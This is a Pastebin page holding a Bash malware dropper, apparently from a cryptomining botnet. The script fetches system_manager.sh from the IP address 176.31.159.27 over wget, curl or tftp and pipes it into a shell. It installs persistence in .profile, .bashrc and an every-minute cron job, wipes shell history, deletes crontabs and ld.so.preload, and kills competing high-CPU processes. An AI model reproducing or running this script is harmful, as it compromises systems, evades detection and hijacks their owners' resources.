Advertisement
internetweather

http://176.31.159.27/manager.sh

Aug 7th, 2021
2,365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.29 KB | None | 0 0
  1. #!/bin/sh
  2.  
  3. ulimit -n 65535
  4.  
  5. rm -f /etc/ld.so.preload
  6.  
  7. DOWNLOAD_METHOD="unknown"
  8. DOWNLOADER="unknown"
  9. SYSTEM_ADMIN_HOST="176.31.159.27"
  10. SYSTEM_ADMIN_CONFIG="system_manager.sh"
  11. SYSTEM_TYPE=$(uname)
  12. SYSTEM_ARCH=$(uname -m)
  13. HAS_BUSYBOX=FALSE
  14.  
  15. sed -i '/miner/d' .profile
  16. sed -i '/miner/d' .bashrc
  17. sed -i '/wget/d' .profile
  18. sed -i '/curl/d' .profile
  19. sed -i '/curl/d' .bashrc
  20. sed -i '/wget/d' .bashrc
  21.  
  22. crontab -r
  23.  
  24. killall -9 .admin_thread
  25.  
  26. unset_history()
  27. {
  28.     unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH > /dev/null 2>&1
  29.     history -n > /dev/null 2>&1
  30.     export HISTFILE=/dev/null > /dev/null 2>&1
  31.     export HISTSIZE=0 > /dev/null 2>&1
  32.     export HISTFILESIZE=0 > /dev/null 2>&1
  33.     if [ -s $HOME/.bash_history ]
  34.     then
  35.         rm $HOME/.bash_history > /dev/null 2>&1
  36.         ln -sf /dev/null $HOME/.bash_history > /dev/null 2>&1
  37.     fi
  38. }
  39.  
  40. determine_download_method()
  41. {
  42.     if [ -s /usr/bin/tftp ]
  43.     then
  44.         DOWNLOAD_METHOD="tftp"
  45.         DOWNLOADER="$DOWNLOAD_METHOD -g $SYSTEM_ADMIN_CONFIG -l- -r $SYSTEM_ADMIN_HOST"
  46.     fi
  47.  
  48.     if [ -s /usr/bin/curl ]
  49.     then
  50.         DOWNLOAD_METHOD="curl"
  51.         DOWNLOADER="$DOWNLOAD_METHOD http://$SYSTEM_ADMIN_HOST/$SYSTEM_ADMIN_CONFIG"
  52.     fi
  53.  
  54.     if [ -s /usr/bin/wget ]
  55.     then
  56.         DOWNLOAD_METHOD="wget"
  57.         DOWNLOADER="$DOWNLOAD_METHOD http://$SYSTEM_ADMIN_HOST/$SYSTEM_ADMIN_CONFIG -O-"
  58.     fi
  59.  
  60.     return
  61. }
  62.  
  63. unset_history
  64.  
  65. determine_download_method
  66.  
  67. #echo "Using method [$DOWNLOAD_METHOD]"
  68. #echo "Downloader [$DOWNLOADER]"
  69. #echo "Arch type [$SYSTEM_ARCH]"
  70. #echo "Device type [$SYSTEM_TYPE]"
  71.  
  72. VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
  73. for word in $VAR
  74. do
  75.     CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
  76.     if [ $CPUUSAGE -gt 55 ]
  77.     then
  78.        echo BIG $word
  79.        PID=$(echo $word | awk -F":" '{print $1'})
  80.        LINE=$(ps uwx | grep $PID)
  81.        COUNT=$(echo $LINE| grep -P "|wget|curl|ssh|manager"|wc -l)
  82.        if [ $COUNT -eq 0 ]
  83.        then
  84.            echo Skipping $line
  85.        fi
  86.        echo KILLING $line
  87.        kill $PID
  88.    fi
  89. done
  90.  
  91. (cat $HOME/.profile | grep -e "$DOWNLOADER" | grep -v grep) > /dev/null 2>&1
  92.  
  93. if [ $? -eq 0 ]
  94. then
  95.     echo "system manager already active in profile!"
  96. else
  97.   (
  98.     echo "# System updater below"
  99.     echo "$DOWNLOADER | sh & 2> /dev/null"
  100.   ) >> $HOME/.profile
  101.     echo "Added system manager to profile for future updates!"
  102. fi
  103.  
  104. (cat $HOME/.bashrc | grep -e "$DOWNLOADER" | grep -v grep) > /dev/null 2>&1
  105.  
  106. if [ $? -eq 0 ]
  107. then
  108.     echo "system manager already active in bashrc!"
  109. else
  110.   (
  111.     echo "# System updater below"
  112.     echo "$DOWNLOADER | sh & 2> /dev/null"
  113.   ) >> $HOME/.bashrc
  114.     echo "Added system manager to bashrc for future updates!"
  115. fi
  116.  
  117. (crontab -l | grep -e "$DOWNLOADER" | grep -v grep) > /dev/null 2>&1
  118.  
  119. if [ $? -eq 0 ]
  120. then
  121.     echo "system manager already active in crontab!"
  122. else
  123.   (
  124.     crontab -r
  125.     echo "* * * * * $DOWNLOADER | sh > /dev/null"
  126.   ) | crontab -
  127.     echo "Added system manager to crontab for future updates!"
  128. fi
  129.  
  130. $DOWNLOADER | sh &
  131.  
  132. (ps aux | grep -e ".watchdog" | grep -v grep) > /dev/null 2>&1
  133.  
  134. if [ $? -eq 0 ]
  135. then
  136.     echo "System manager running!"
  137. else
  138.     echo "System manager not running"
  139.     $DOWNLOADER | sh &
  140. fi
  141.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement